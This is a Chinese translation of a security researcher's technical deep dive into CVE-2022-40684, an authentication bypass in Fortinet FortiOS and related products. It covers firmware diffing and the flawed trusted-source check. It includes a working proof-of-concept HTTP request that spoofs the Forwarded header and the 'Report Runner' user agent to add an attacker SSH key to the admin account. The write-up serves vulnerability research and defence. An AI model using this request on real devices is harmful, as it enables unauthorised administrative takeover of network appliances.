FortiOS、FortiProxy 和 FortiSwitch管理员身份验证绕过技术深入探讨 (CVE-2022-40684)

介绍

Fortinet最近修补了其FortiOS, FortiProxy和FortiSwitchManager项目中的一个关键身份验证绕过漏洞 (CVE-2022-40684)。此漏洞使攻击者能够以管理员身份登录受影响的系统。为了演示本文中的漏洞,我们将使用 FortiOS 版本 7.2.1

原文链接:https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

POC

让我们来看看这个漏洞的内部工作原理。您可以在这里找到我们的 POC。下面使用该漏洞向管理员用户添加 SSH 密钥,使攻击者能够以管理员身份通过 SSH 进入受影响的系统。

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by=”[127.0.0.1]:9000″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\”” }

深潜

FortiOS 公开了一个允许用户配置系统的管理 Web 门户。此外,用户可以通过 SSH 连接到暴露锁定 CLI 接口的系统。熟悉系统后,我们的第一步是将易受攻击的固件与修补的固件进行比较。

固件检查

我们获得了固件的 VMware zip 文件,其中包含两个 vmdk 文件。首先,我们检查了 vmdk 文件,并使用 :virt-filesystemsguestmount

接下来,我们提取根文件系统,在那里我们找到一手装满.tar.xz文件:

有趣的是,尝试解压缩xz文件失败并出现损坏错误:

目前尚不清楚这是否是混淆的尝试,但是我们在固件的sbin文件夹中找到了xz的版本。我们无法按原样运行它,但我们可以修补其链接器以指向我们的系统链接器,以最终解压缩文件:

接下来,我们解压缩文件并开始检查其内容。我们发现包含大量二进制文件,其中许多是 指向 的符号链接。该文件夹似乎包含管理界面的前端 Web 代码。该文件夹似乎包含管理接口的 NodeJs 后端。最后,该文件夹包含一个 Libaries 文件夹和一个配置文件夹。/bin/bin/initmigadminnode-scriptsusrapache2

补丁

我们将相同的步骤应用于固件版本7.2.2,以启用文件系统的差异。在文件夹中,我们发现大型二进制文件已更改,在文件夹中,我们发现文件已更改:bininitnode-scriptsindex.js

index.js diff

此差异显示代理处理程序显式设置 、 和 标头。这为我们提供了从哪里开始寻找有关如何利用此漏洞的线索的提示。httpsdforwardedx-forwarded-vdomx-forwarded-cert

HTTPSD 和Apache处理程序

经过一些搜索,我们发现我们前面提到的初始化二进制文件包含一些与NodeJs diff中的标头匹配的字符串。这个初始化二进制文件相当大,似乎有很多功能,包括Apache钩子和用于各种管理REST API端点的处理程序。为了帮助我们的研究,我们SSH进入系统并启用了过程的调试输出:httpsd

在调查标头时,我们发现一个钩子来解析标头,提取和字段,并将它们附加到Apache结构。您可以看到,该字段允许我们在请求记录的连接上设置字段。forwardedapache access_check_exforbyrequest_recforclient_ip

forwarded header parsing(转发标头解析)

此外,我们还看到一条日志消息,其中提到了用于特定请求的处理程序。

搜索处理程序字符串后,我们在 init 二进制文件中找到一个处理程序数组:

hander array

在调查了一些处理程序之后,我们发现其中许多处理程序都调用了我们命名的函数:api_check_access

api_check_access

我们立即被吸引,首先检查vdom套接字选项是否可信,然后落入我们调用的函数。api_check_access_for_trusted_sourceis_trusted_ip_and_user_agent

is_trusted_ip_and_user_agent

您可以看到,此函数检查 是否为“127.0.01”,以及标头是否与第二个参数匹配。使用两个可能的参数调用此函数:“节点.js”和“报表运行程序”。“Node.js”路径似乎执行了一些额外的验证,但使用“报表运行程序”可以让我们绕过身份验证并执行 API 请求!client_ipUser-Agent

武器化

向 REST API 发出未经身份验证的请求的能力非常强大。但是,我们注意到我们无法添加或更改管理员用户的密码。为了解决这个问题,我们更新了管理员用户的SSH密钥,以允许我们以管理员身份向目标SSH

总结

总结一下,这里概述了利用这种漏洞的请求的必要条件:

  1. 攻击者可以使用 Fowarded 标头将 client_ip 设置为“127.0.0.1”。
  2. “可信访问”身份验证检查验证 client_ip s “127.0.0.1” 和 User-Agent 是“Report Runner”是否都在攻击者的控制之下。

对系统管理接口的任何符合上述条件的 HTTP 请求都应引起关注。攻击者可以利用此漏洞对易受攻击的系统执行任何操作。这包括更改网络配置、添加新用户和启动数据包捕获。请注意,这不是利用此漏洞的唯一方法,并且可能还有其他一组有效的条件。例如,此漏洞的修改版本使用 User-Agent “Node.js”。此漏洞利用似乎遵循最近发现的企业软件漏洞的趋势,其中HTTP标头未正确验证或过度信任。我们在最近的 F5 和 VMware 漏洞中看到了这一点。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注